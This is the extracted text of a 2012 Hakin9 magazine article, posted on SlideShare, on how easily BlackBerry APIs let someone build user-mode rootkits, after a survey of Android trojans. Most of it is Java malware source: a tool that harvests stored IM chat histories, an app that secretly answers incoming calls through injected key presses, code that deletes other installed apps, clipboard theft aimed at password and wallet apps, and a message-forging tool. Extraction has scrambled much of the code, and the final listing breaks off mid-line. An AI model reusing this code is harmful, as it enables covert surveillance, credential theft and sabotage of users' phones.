When developers api simplify user mode rootkits development – part ii

606 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
606
On SlideShare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
15
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

When developers api simplify user mode rootkits development – part ii

  1. 1. Mobile Security When developers API simplify user-mode rootkits development This series of articles is about the ease of which user-mode rootkits for BlackBerry can be developed. I n a previous article, several cases were mentioned along with ideas on how a mobile rootkit could easily be built on the application level by exploiting API and privilege escalation vulnerabilities or oversight. Cases covered the top trojans for two years with the first one being Android Plankton. Instead of giving access to hidden levels of this popular game, malware sends information about the device to criminals and downloads other malicious programs. From the Android Market alone, the infected program was downloaded more than 150,000 times and from alternative resources the number of downloads reached 250,000. Android.Plankton does not exploit known vulnerabilities in operating systems to elevate its own privileges. Instead, it downloads its own service in the background immediately after the launch of the infected application and begins to collect information about the device and sends it to a remote server. Another example was the Android malware DroidKungFu. This malware is capable of rooting the vulnerable Android phones and may successfully evade detection by the current mobile anti-virus software. This malware is identified from four Android apps that have been circulated among at least eight alternative Chinese app markets and forums. The malware will add a new service and receiver into the infected app. The receiver will be notified when the system finishes booting so that it can automatically launch the service without user interaction. Geinimi Trojan includes capacities to gain for: • Reading and collecting SMS messages • Sending and deleting selected SMS messages 56 • Pulling all contact information and sending it to a remote server (number, name, the time they were last contacted) • Placing a phone call • Silently downloading files • Launching a web browser with a specific URL Geinimi has three different methods of starting itself. The trojan will first launch itself as its own service. The service allows the trojan to start while the host application appears to functioning normally. Two other ways Geinimi starts revolves around BroadcastReceivers Android events occurring. The trojan will wake itself up from an SMS message. The Geinimi trojan has encrypted the embedded data, payload and all communications – however, encryption is weak. The values in the request for commands can be used by the command and control server to identify information about infected devices. The longitude and latitude can then be used to track the location of this specific user. Also, the trojan gathers a list of applications and their activities on the device, sends an SMS to any recipient, deletes SMSs, lists SMSs to specific contacts, lists contacts and their information, calls any number, silently downloads files and launches a web browser with a specific URL. An SMS trojan called Trojan-SMS.AndroidOS.FakePlayer, once installed, actually sends out SMS messages without the user’s knowledge or consent. Users are prompted to install a small file of around 13KB (have you ever seen such a small media player?). The trojan bundled with it then begins texting premium rate phone numbers. The criminals are actually the ones 04/2012
  2. 2. Listing 1. API-routines to design malware “MEDIA PLAYER IO (Input/Output)” import java.io.DataInputStream; import java.io.IOException; import java.io.OutputStream; import javax.microedition.io.Connector; import javax.microedition.io.file.FileConnection; import net.rim.device.api.io.IOUtilities; Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”] public static byte[] readFile(String FullName) ///FullName includes FullPath to file with file name and file extension { //array of data you want to return (read) byte[] data = null; FileConnection fconn = null; DataInputStream is = null; try { fconn = (FileConnection) Connector.open(FullName, Connector.READ); s = fconn.openDataInputStream(); } data = IOUtilities.streamToBytes(is); catch (IOException e) { } finally { try { f (null != is) { } s.close(); if (null != fconn) { } } } } catch (IOException e) fconn.close(); { } return data; public static void writeFile(String FullName, byte[] data) ///FullName includes FullPath to file with file name and file extension // data is array you want to put into file { FileConnection fconn = null; OutputStream os = null; try { fconn = (FileConnection) Connector.open(FullName, Connector.READ_WRITE); if (!fconn.exists()) { www.hakin9.org/en // create file if one doesn’t exist 57
  3. 3. Mobile Security Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”] fconn.create(); } os = fconn.openOutputStream(fconn.fileSize()); } os.write(data); catch (Exception e) finally { { Dialog.alert(e.getMessage()); try { } } } os.close(); fconn.close(); catch (IOException e) { Dialog.alert(e.getMessage()); } Listing 3. File’n’Folder TreeWalk (breifly) Vector Path = new Vector(); Path.addElement((String) “file:///SDCard/BlackBerry/im”); Path.addElement((String) “...” - repeat several times Enumeration Path_enum = Path.elements(); while (Path_enum.hasMoreElements()) { } current_path = (String) Path_enum.nextElement(); to do something operating these numbers, so they end up collecting the money via charges to the victims’ accounts. The trojan spyware application known as Zitmo, is designed to steal people’s financial data by listening to all incoming SMS messages and forwarding them to a remote web server. That is a security risk, as some banks now send mTANs via SMS as a one-time password for authentication. By intercepting these passwords, it can not only create fraudulent money transfers, but also verify them. The trojan program “OddJob” does not require fraudsters to log into a user’s online bank account to steal from it. Instead, the malware is designed to hijack a user’s online banking session in real-time by stealing session ID tokens. By stealing the tokens and embedding them into their own browsers, fraudsters can impersonate a legitimate user and access accounts while the user is still active online. The access allows fraudsters to then conduct whatever banking operations the account holder can perform. This approach is different than typical man-in-the browser attacks where attackers use trojans to steal login credentials that are then used to break into online accounts. The second interesting feature in OddJob is its ability to keep an 58 online banking session open and live even after users think they have logged out of their account. This allows criminals to extract money and continue other fraudulent activity even after the user thinks the session has ended. BlackBerry Opportunity Is it really difficult to bring the vulnerabilities to the BlackBerry devices? We are going to see how it is really easy to port these techniques to BlackBerry devices. The first two ideas and proof-of-concepts are about the BlackBerry file-system. As you may know, BlackBerry can encipher the whole file system as well as removed files. Talking about a ciphered file-system, you should understand that this feature makes sense only when all storage cards and memory are removed from devices to extract information, similar to forensic cases. Instead, when you rely on live spying you will get much more information rather trying to decipher it or get the password. First malware concept, the so called media player, based not so much on human bugs as it is on GUI bugs. Unfortunately, humans are not the last point of 04/2012
  4. 4. File Paths should be monitored /Device/Home/User/ – if information stored on internal memory /MediaCard/BlackBerry/ – if information stored on external memory ../IM/AIM/USERNAME/history/ – AIMs history in csv format ../IM/BlackBerryMessenger/PIN/history/ – BBMs history in csv format ../IM/GoogleTalk/USERNAME/history/ – GTalks history in csv format ../IM/Yahoo/USERNAME/history/ – YMessengers history in csv format ../IM/WindowsLive/USERNAME/history/ – WLives history in csv format ../pictures – Manully added pic or screenshoted data ../camera – Photo captured data ../videos – Video captured data ../voice notes – Voice captured data defense when we talk about vulnerabilities, trojans, etc. Our behaviour is based on traditions of the past sometimes, as well as tools which used to change with age. In the past, access to files used to be strictly via DOS/Unix system; nowadays we have an aggregation of folders like Music, Photos, Photo-Camera’s folder, or Videos. The GUI was developed as a result of the desire for a convenient way to access files. Taking the discussion to file access on our smart phones, audio notes, photos, videos, music, and camera’s data are stored in one place (more correctly in two places, on internal storage and external storage like SD-card) and applications are allowed to access these folder paths to extract data in real-time; moreover API access to those same folders are easily obtained. Also, they may associate their listeners with a specific file format like .AMR which used to store your BlackBerry audio notes. They are often stored in the “voicenotes” folder, named as VN-20120319-xxxx.AMR. As you can see, you do not need to extract its properties to know when it was recorded; you do not even need to link (programmatically) the folder with type of file (logical level) because “VN” is a voice note. Video files are recorded by the device and named “VID-YYYYMMDDXXXXXX.3GP” as voice note or picture file. Photos are named as IMG20120103-xxxx. To talk about a geo-tag per file, a “Moskva” prefix in added to file name. It is obvious why developers store the name of the file as the city part, date part and increment part. Continuous numbering is allowed in these cases, but why isn’t it developed with the increment part then the hash part at the end of file name (XXXX-hash-dot-extension)? Several file-systems differ in the way files should be sorted, but developers are still able to ask device owners what they prefer. Doing this makes things simple, easier to control and a bit more secure, don’t you agree? Of course, our media player as malware must have a network connection to get updates despite the fact that each BlackBerry device receives update notifications from AppWorld and OS updates should be received via USB-cable by synchronizing with the BlackBerry Desktop Software. Instead, our application may grab news from an official site, update news, offers to share music status and steal and send cached information (Listing 1-Listing 3). Second malware concept covers BlackBerry chats. If you turn on the option to save chat on internal storage (device) or on external storage (SD-Card) you will be notified about how you should ask interlocutor to agree with recording your chat history. By the way, it doesn’t Figure 1. Logged BlackBerry Conversation Figure 2. Window of BlackBerry Conversation www.hakin9.org/en 59
  5. 5. Mobile Security Figure 3. Logged Google Conversation Figure 5. Logged WinLive Conversation Figure 4. Window of Google Conversation Figure 6. Window of WinLive Conversation Chat Details Then stores a “history” folder which contatins .CSV files named by account name of interlocutor like yury.chemerkin@gmail. com. Also, conference/group chats folder are placed here: INTERNAL STORAGE: file:///store/home/user/im EXTERNAL STORAGE: file:///SDCard/BlackBerry/im • • • • • All IM chats (from application developed by RIM) files marked to be saved are often located on the same file paths Then stores IM folder per each native IM client IM Folders • • • • • AIM BlackBerry Messenger Google Talk Windows Live Yahoo Then stores folder named as your account such as • • • • • 60 AIM Account: yury.chemerkin@aim.com Google Account: yury.chemerkin@gmail.com Windows Live Account: yury.chemerkin@hotmail.com Yahoo Account: yury.chemerkin BlackBerry Account: 23436780 (BlackBerry PIN) AIM: Conferences Google: Conferences Windows Live: Conferences Yahoo: Conferences BlackBerry: Group Chats BlackBerry chat csv file format Date/Time PIN Sender YYYYMMDDHHMMSSMS HEX VALUE PIN Receiver Data HEX VALUE STRING Non-BlackBerry chat csv file format Date/Time ID Sender ID Receiver Data YYYYMMDDHHMMSSMS STRING STRING STRING 04/2012
  6. 6. Figure 7. Logged Yahoo Conversation Figure 9. Logged AIM (AOL) Conversation work for each, instead, it is a global feature; that’s why there’s no sense as you see. By default this feature is turned off. However, if you turn on saving you will be surprised by the fact that your data is stored in clear-text. Don’t think that only Google, Yahoo, or another nonBlackBerry doesn’t encipher them; BlackBerry chats are still not encrypted. Also, Shape IM+ for Linux relies on the root folder only without encryption. Note, that Yahoo Messenger, AIM (AOL) Messenger, Windows Live Messenger, Google Messenger and BlackBerry Messenger are developed by RIM. However, there’s a native security solution: no .CSV format by the device except for special programs. Just copy this file to a PC and open it with Notepad. To see formatted chats, you should open it with Excel or OpenOffice. • The same way to store chats • You need to turn on saving option feature • Notepad or Excel to see them (Figure 1-Figure 10, Listing 4) • File-system ciphering isn’t developed for live spying • Chats stored in clear-text • You can’t read them with device Third malware concept is based on several APIs acting in stealth mode. At first, you have to catch incoming call events, secondly, you have to simulate an answer event by simulating pressing of the answer button and then you should hide the caller screen to get back the home screen by simulating/pressing the escape button. Answer simulating refers to the Keypad. KEY _ SEND; to release pressing you have to press and release button by simulating KeyCodeEvent.KEY _ DOWN and KeyCodeEvent.KEY _ UP. Before you do this, you should understand that at least 1 second should pass when you get an incoming event to draw a native caller to the screen you managed. Then (when accepting an incoming call) you should hide via Keypad. KEY _ ESCAPE , however if you press the escape button you will be asked whether or not to go to the home Figure 8. Window of Conversation Figure 10. Window of AIM (AOL) Conversation Summary www.hakin9.org/en 61
  7. 7. Mobile Security Listing 4a. IM Chat Thief package blackberryChatThief; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.Enumeration; import java.util.Vector; import javax.microedition.io.Connector; import javax.microedition.io.file.FileConnection; import net.rim.device.api.io.IOUtilities; import net.rim.device.api.io.file.ExtendedFileConnection; import net.rim.device.api.ui.Field; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.component.Dialog; import net.rim.device.api.ui.container.MainScreen; public class BlackBerryChatThiefScreen extends MainScreen implements FieldChangeListener public BlackBerryChatThiefScreen() { setTitle(“BlackBerry Chat Thief Application”); checkButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); checkButton.setLabel(“Steal your own chat :)”); checkButton.setChangeListener(this); add(checkButton); exitButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); exitButton.setLabel(“Exit”); exitButton.setChangeListener(this); } add(exitButton); public void fieldChanged(Field field, int param) { if (field == checkButton) { String string_result; try { Vector Path = new Vector(); String current_path = new String(); String current_im = new String(); String current_id = new String(); String current_conv = new String(); String root_dir = new String(); 62 04/2012
  8. 8. Listing 4b. IM Chat Thief Vector log = new Vector(); FileConnection root_sdcard = null; FileConnection root_store = null; try { } root_sdcard = (FileConnection)Connector.open(“file:///SDCard/”); catch (IOException ex) { } log.addElement((String) “SDCard not found”); try { } root_store = (FileConnection)Connector.open(“file:///store/”); catch (IOException ex) { } log.addElement((String) “store not found”); if ((root_sdcard != null) && root_sdcard.exists()) { } root_dir = “file:///SDCard/”; Path.addElement((String) “file:///SDCard/BlackBerry/im”); else if ((root_store != null) && root_store.exists()) { } root_dir = “file:///store/home/user/”; Path.addElement((String) “file:///store/home/user/im”); Enumeration Path_enum = Path.elements(); FileConnection copyf = (FileConnection)Connector.open(root_dir + “chat.txt”); if (copyf.exists()) { } copyf.delete(); copyf.create(); OutputStream writer = copyf.openOutputStream(); FileConnection logger = (FileConnection)Connector.open(root_dir + “log.txt”); if (logger.exists()) { } logger.delete(); logger.create(); OutputStream logwriter = logger.openOutputStream(); if (!Path_enum.hasMoreElements()) { getBytes()); www.hakin9.org/en logwriter.write((“Directory [“ + Path + “] doesn’t have subdirsrn”). 63
  9. 9. Mobile Security Listing 4c. IM Chat Thief } logwriter.flush(); else while (Path_enum.hasMoreElements()) { logwriter.write((“Directory [“ + Path + “] has subdirsrn”).getBytes()); logwriter.flush(); current_path = (String) Path_enum.nextElement(); FileConnection IM_dir = (FileConnection)Connector.open(current_path); if (!IM_dir.exists()) { logwriter.write((“Path [“ + IM_dir.getURL() + “] doesn’t found rn”).getBytes()); logwriter.flush(); } else { logwriter.flush(); logwriter.write((“Path [“ + IM_dir.getURL() + “] foundsrn”).getBytes()); Enumeration IM_list = IM_dir.list(); if (!IM_list.hasMoreElements()) { logwriter.write((“Directory [“ + IM_dir.getURL() + “] doesn’t have subdirsrn”).getBytes()); } logwriter.flush(); else while (IM_list.hasMoreElements()) { rn”).getBytes()); logwriter.write((“Directory [“ + IM_dir.getURL() + “] has subdirs logwriter.flush(); current_path = IM_dir.getURL() + (String) IM_list.nextElement(); FileConnection ID = (FileConnection)Connector.open(current_path); if (!ID.exists()) { getBytes()); } logwriter.write((“Path [“ + ID.getURL() + “] doesn’t foundrn”). logwriter.flush(); else { getBytes()); logwriter.write((“Path [“ + ID.getURL() + “] foundsrn”). logwriter.flush(); current_im = “CURRENT IM TYPE :: “ + ID.getName().substring(0, ID.getName().length() - 1) + “rn”; 64 04/2012
  10. 10. Listing 4d. IM Chat Thief //current_im = “rn--------IM SEPARATOR------rn” + current_im; Enumeration ID_list = ID.list(); if (!ID_list.hasMoreElements()) { subdirsrn”).getBytes()); } logwriter.write((“Directory [“ + ID.getURL() + “] doesn’t have logwriter.flush(); else while (ID_list.hasMoreElements()) ////if (ID_list.hasMoreElements()) { rn”).getBytes()); logwriter.write((“Directory [“ + ID.getURL() + “] has subdirs logwriter.flush(); current_path = ID.getURL() + (String) ID_list.nextElement() + “history”; FileConnection history_dir = (FileConnection)Connector. open(current_path); if (!history_dir.exists()) { doesn’t existrn”).getBytes()); } logwriter.write((“Directory [“ + history_dir.getURL() + “] logwriter.flush(); else { - (“/history”).length()); current_id = current_path.substring(0, current_path.length() current_id = current_id.substring(ID.getURL().length(), current_id.length());// - ID.getURL().length()); //current_id = “rn--------ID SEPARATOR------rn” + current_id; current_id = “CURRENT ID :: “ + current_id + “rn”; Enumeration chats = history_dir.list(); if (!chats.hasMoreElements()) { logwriter.write((“Directory [“ + history_dir.getURL() + “] doesn’t have subdirsrn”).getBytes()); logwriter.flush(); } else { “] has subdirsrn”).getBytes()); logwriter.write((“Directory [“ + history_dir.getURL() + logwriter.flush(); while (chats.hasMoreElements()) { www.hakin9.org/en 65
  11. 11. Mobile Security Listing 4e. IM Chat Thief current_path = history_dir.getURL() + (String) chats.nextElement(); ExtendedFileConnection chat_file = (ExtendedFileConnection)Connector.open(current_path); if (!chat_file.isDirectory() & !chat_file.getName(). endsWith(“rem”)) { current_conv = chat_file.getName(); //current_conv = “rn--------CHAT SEPARATOR---- --rn” + current_conv; current_conv = “CURRENT CHAT :: “ + current_conv + “rnCHAT :: rn”; byte[] array = new byte[(int) chat_file. fileSize()]; InputStream raw_reader = chat_file. openInputStream(); array = IOUtilities.streamToBytes(raw_reader); raw_reader.close(); logwriter.write((“CSV [“ + chat_file.getURL() + “] has readrn”).getBytes()); logwriter.flush(); writer.write(current_im.getBytes()); writer.write(current_id.getBytes()); writer.write(current_conv.getBytes()); writer.write(array); writer.write((“rn--------separator------ rn”).getBytes()); logwriter.write((“CSV [“ + chat_file.getURL() + “] has writtenrn”).getBytes()); } } } } } } } } logwriter.flush(); } logwriter.write((“DONErn”).getBytes()); logwriter.flush(); string_result = “DONE”; writer.flush(); writer.close(); logwriter.flush(); logwriter.close(); copyf.close(); 66 04/2012
  12. 12. Listing 4f. IM Chat Thief } catch (Exception ex) { } } string_result = ex.toString() + “||” + ex.getMessage(); Dialog.alert(string_result); else if (field == exitButton) { } } System.exit(0); } Figure 11. Before Call Figure 13. Answering screen. Therefore malware has to simulate an agreement via Keypad.KEY _ ENTER to successfully bypass the user eyes. Where it is all at, no one has another API to make your own caller screen and manage the in- coming calls. To extend impacting to simulate physical input, you can read my 2nd article (Hakin9, Is Data Secure On The Password Protected Blackberry Device). However, it is easy to put a symbol in the Figure 12. Incoming Call Figure 14. Escaping to the Home Screen www.hakin9.org/en 67
  13. 13. Mobile Security Listing 5a. Caller Malware package blackBerryPhoneEmulation; import net.rim.blackberry.api.phone.Phone; import net.rim.blackberry.api.phone.PhoneCall; import net.rim.blackberry.api.phone.PhoneListener; import net.rim.device.api.system.EventInjector; import net.rim.device.api.system.EventInjector.KeyCodeEvent; import net.rim.device.api.ui.UiApplication; public class BlackBerryPhoneEmulationApp extends UiApplication implements PhoneListener { int sleep_time = 1000; public static void main(String[] args) { } BlackBerryPhoneEmulationApp theApp = new BlackBerryPhoneEmulationApp(); theApp.enterEventDispatcher(); public BlackBerryPhoneEmulationApp() { } pushScreen(new BlackBerryPhoneEmulationScreen()); Phone.addPhoneListener(this); public void close() { } Phone.removePhoneListener(this); System.exit(0); public void callIncoming(int callId) { final PhoneCall call = Phone.getCall(callId); final String number = call.getDisplayPhoneNumber(); EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_ DOWN, (char) Keypad.KEY_SEND, 0); EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent. KEY_UP, (char) Keypad.KEY_SEND, 0); try { } Thread.sleep(sleep_time); catch (InterruptedException e) {} EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); } 68 04/2012
  14. 14. Listing 5b. Caller Malware public void callAdded(int callId) {} public void callAnswered(int callId) {} public void callConferenceCallEstablished(int callId) {} public void callConnected(int callId) { EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ESCAPE, 0); EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ESCAPE, 0); try { } Thread.sleep(sleep_time); // Waiting a caller screen have been drawn catch (InterruptedException e) {} } EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); ///Releasing Escaping to the Home Screen pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ENTER, 0); eleaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ENTER, 0); try { } Thread.sleep(sleep_time); //Waiting prompt screen have been drawn catch (InterruptedException e) {} EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); } ///Accepting Escaping to the Home Screen public void callDirectConnectConnected(int callId) {} public void callDirectConnectDisconnected(int callId) {} public void callDisconnected(int callId) {} public void callEndedByUser(int callId) {} public void callFailed(int callId, int reason) {} public void callHeld(int callId) {} public void callInitiated(int callid) {} public void callRemoved(int callId) {} public void callResumed(int callId) {} public void callWaiting(int callid) {} } public void conferenceCallDisconnected(int callId) {} www.hakin9.org/en 69
  15. 15. Mobile Security Figure 15. App list with Victim app Figure 16. Details of Victim Apps text field, while putting a string by one symbol and track-wheel moving is too difficult although it may be enough to input passwords (Figure 11-Figure 14, Listing 5). Figure 17. App List with deleted victim app 70 Figure 18. Details of deleted victim app Fourth malware concept is about destructive interaction. What is a common thesis when someone talks about security? A security component must not be deleted because it brings down a security wall. Why doesn’t malware delete all applications and modules installed on your device? Some applications consist of several modules and one removed crash down after the first successful reboot. Another attack vector, BlackBerry Enterprise Server offers application controlling by resending modules to selected devices regarding IT Policy. If a malware application turns off wireless to crash the device then no one policy saves the device. When you install an application you are asked to choose permissions that you grant to this application. As you know from my articles about screenshot catching, the device sometimes should ask what windows are allowed to interact with screenshot and which aren’t allowed. This case is the same and all you need to delete other applications is a name and permission to interact with Application Manager. How do you extract data about applications? The easiest way to interrupt user flows is to grab active applications at current time via ApplicationManager. getApplicationManager().getVisibleApplications();. When the application list has got malware grabs LocalizedName and ModuleHandle to find them in Application Manager lists and deletes by using: ModuleHandle. That’s all (Figure 15-Figure 18, Listing 6). Fifth malware concept manages with Clipboard. From previous zsndroid malware cases I retell in the beginning you learn password may extract from SMS or GET/ POST requests. My case refers to Password Keeper and BlackBerry Wallet, which are both developed by RIM; also, it is native and pre-installed by default. The first application is designed to keep passwords more than the second, which is designed to keep not only passwords but also banking data. Extract essential information stored in BlackBerry backups. Elcomsoft BlackBerry Backup Explorer allows forensic specialists 04/2012
  16. 16. Listing 6a. Code Example how find application among set of applications already running and how delete application package blackBerryDeleterpackage; import net.rim.device.api.system.ApplicationDescriptor; import net.rim.device.api.system.ApplicationManager; import net.rim.device.api.system.CodeModuleManager; import net.rim.device.api.ui.Field; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.container.MainScreen; public final class BlackBerryDeleterScreen extends MainScreen implements FieldChangeListener { ButtonField bt_find = null; ButtonField bt_delete = null; TextField tf2 = null; String stf2 = “”; public BlackBerryDeleterScreen() { // Set the displayed title of the screen setTitle(“BlackBerryDeleterTitle”); bt_find = new ButtonField(); bt_delete = new ButtonField(); tf2 = new TextField(); bt_find.setLabel(“FIND APP”); bt_delete.setLabel(“DEL APP”); bt_find.setChangeListener(this); bt_delete.setChangeListener(this); tf2.setLabel(“INFOrn”); add(tf2); add(bt_find); } add(bt_delete); public void fieldChanged(Field field, int context) { if (field == bt_find) //BUTTON “FIND APPLICATION” { { try int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle(); ApplicationDescriptor desc = null; ApplicationDescriptor[] descs = null; try { descs = ApplicationManager.getApplicationManager(). getVisibleApplications(); www.hakin9.org/en 71
  17. 17. Mobile Security Listing 6b. Code Example how find application among set of applications already running and how delete application int handle = 0; stf2 += “length = “ + descs.length + “rn”; for (int i = 0; i < descs.length; i++) { stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “rn”; stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “rn”; if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0) { handle = descs[i].getModuleHandle(); } stf2 += descs[i].getModuleName() + “rn”; else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0) { } } handle = descs[i].getModuleHandle(); stf2 += descs[i].getLocalizedName() + “rn”; try { if (handle > 0) { } stf2 += “app found” + “rn”; else { } } stf2 += “handle null” + “rn”; catch (Exception e) { } stf2 += e.getMessage() + “rn”; } catch (Exception e) { } } stf2 += e.getMessage() + “rn”; catch (Exception e) { } stf2 += e.getMessage(); tf2.setText(stf2); } else if (field == bt_delete) //BUTTON DELETE APPLICATION { { try int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle(); ApplicationDescriptor desc = null; 72 04/2012
  18. 18. Listing 6c. Code Example how find application among set of applications already running and how delete application ApplicationDescriptor[] descs = null; try { descs = ApplicationManager.getApplicationManager().getVisibleApplications(); int handle = 0; stf2 += “length = “ + descs.length + “rn”; for (int i = 0; i < descs.length; i++) { stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “rn”; stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “rn”; if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0) { } handle = descs[i].getModuleHandle(); stf2 += descs[i].getModuleName() + “rn”; else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0) { } } handle = descs[i].getModuleHandle(); stf2 += descs[i].getLocalizedName() + “rn”; try { if (handle > 0) { } CodeModuleManager.deleteModuleEx(handle, true); stf2 += “true delete” + “rn”; else { } } stf2 += “handle null” + “rn”; catch (Exception e) { } stf2 += e.getMessage() + “rn”; } catch (Exception e) { } } stf2 += e.getMessage() + “rn”; catch (Exception e) { } stf2 += e.getMessage(); tf2.setText(stf2); } } www.hakin9.org/en } 73
  19. 19. Mobile Security Listing 7. Clipboard exploitation (How extract data to steal data, and how to put data to mislead someone) import net.rim.device.api.ui.component.TextField; import net.rim.device.api.ui.container.MainScreen; import net.rim.device.api.system.Clipboard; public final class BlackBerryClipboardScreen extends MainScreen { public BlackBerryClipboardScreen() { setTitle(“BlackBerryClipboardTitle”); Clipboard clipb = Clipboard.getClipboard(); Figure 19. BB Wallet. Creating & Stealing TextField tf1 = new TextField(); investigating the content of BlackBerry devices by extracting, analyzing, printing or exporting the content of a BlackBerry backup produced with BlackBerry Desktop Software. But Elcomsoft manages to work with exported data that you back up. RIM made a “good” security solution to restrict any access attempts to the clipboard while their applications are active. If you try to grab data you’ll get the error message “Unauthorized attempt to attach to this application.” Don’t panic, because when a user minimizes it or closes it, a successful data extraction happens. If you want to know whether BlackBerry Wallet (or Password Keeper) is running now, use the code example on how to find application (Figure 19-Figure 20, Listing 7). Screenshotting has been discussed many times, therefore I highlight that “this feature” can easily bypass security flows when the user restricts other permissions. For example, if user restricts a GEO permission you listen to active applications for catching screen shot of a map that the user is seeing at current time. When the map application starts it often shows add(tf1); TextField tf2 = new TextField(); add(tf2); TextField tf3 = new TextField(); add(tf3); tf1.setLabel(“to_string : < “ + clipb. toString() + “ >”); // SHOW CLIPBOARD AS STRING OBJECT String str = “”; try { } str = (String)clipb.get(); // GET CLIPBOARD DATA catch (Exception e) { } try { } clipb.put(“PUT”); // CLIPBOARD SET BY WORD “PUT” catch (Exception e) { } tf2.setLabel(“getted : < “ + str + “ >”); try { } // SHOW THAT CLIPBOARD DATA HAS BEEN STOLEN str = (String)clipb.get(); // GET NEW CLIPBOARD DATA catch (Exception e) { } tf3.setLabel(“getted : < “ + str + “ >”); // SHOW THAT CLIPBOARD SET BY WORD “PUT” Figure 20. BB Wallet. Showing & Stealing 74 } } 04/2012
  20. 20. Listing 8a. MESSAGE MISLEADING package blackBerryMessageMisleading; import java.io.DataInputStream; CONSUME_CLICK | ButtonField.FIELD_ HCENTER); checkiButton.setLabel(“Inbox Misleading”); checkiButton.setChangeListener(this); add(checkiButton); import java.io.IOException; import java.util.Date; checkiaButton = new ButtonField(ButtonField. CONSUME_CLICK | ButtonField.FIELD_ import javax.microedition.io.Connector; HCENTER); import javax.microedition.io.file.FileConnection; checkiaButton.setLabel(“Inbox Attach import net.rim.blackberry.api.mail.Address; checkiaButton.setChangeListener(this); Misleading”); import net.rim.blackberry.api.mail.AddressException; add(checkiaButton); import net.rim.blackberry.api.mail.Folder; import net.rim.blackberry.api.mail.Message; checkoButton = new ButtonField(ButtonField. import net.rim.blackberry.api.mail.MessagingException; CONSUME_CLICK | ButtonField.FIELD_ import net.rim.blackberry.api.mail.Multipart; HCENTER); import net.rim.blackberry.api.mail. checkoButton.setLabel(“Outbox Misleading”); import net.rim.blackberry.api.mail.PINAddress; add(checkoButton); checkoButton.setChangeListener(this); NoSuchServiceException; import net.rim.blackberry.api.mail.Session; import net.rim.blackberry.api.mail.Store; checkpoButton = new ButtonField(ButtonField. import net.rim.blackberry.api.mail. CONSUME_CLICK | ButtonField.FIELD_ HCENTER); SupportedAttachmentPart; import net.rim.device.api.io.IOUtilities; checkpoButton.setLabel(“OutBox PIN MISLEAD”); import net.rim.device.api.ui.Field; add(checkpoButton); import net.rim.device.api.io.MIMETypeAssociations; checkpoButton.setChangeListener(this); import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; checkpiButton = new ButtonField(ButtonField. import net.rim.device.api.ui.component.Dialog; CONSUME_CLICK | ButtonField.FIELD_ import net.rim.device.api.ui.component.TextField; HCENTER); import net.rim.device.api.ui.container.MainScreen; checkpiButton.setLabel(“InBox PIN MISLEAD”); public final class BlackBerryMessageMisleadingScreen add(checkpiButton); checkpiButton.setChangeListener(this); extends MainScreen implements { tf = new TextField(); FieldChangeListener tf.setLabel(“enter fake pin”); private ButtonField checkiButton = null; private ButtonField checkoButton = null; tf.setText(“”); add(tf); private ButtonField checkpoButton = null; } private ButtonField checkiaButton = null; public void fieldChanged(Field field, int param) private ButtonField checkpiButton = null; TextField tf = null; public BlackBerryMessageMisleadingScreen() { setTitle(“BlackBerry Message Misleading”); TextField textfield = new TextField(); textfield.setLabel(“Mislead yourself via BlackBerry Technology”); add(textfield); checkiButton = new ButtonField(ButtonField. www.hakin9.org/en { if (field == checkoButton) { String res = “”; boolean odelivered = true;//false; DELIVERED “^_^”; //MESSAGE WILL BE String omessage = 75
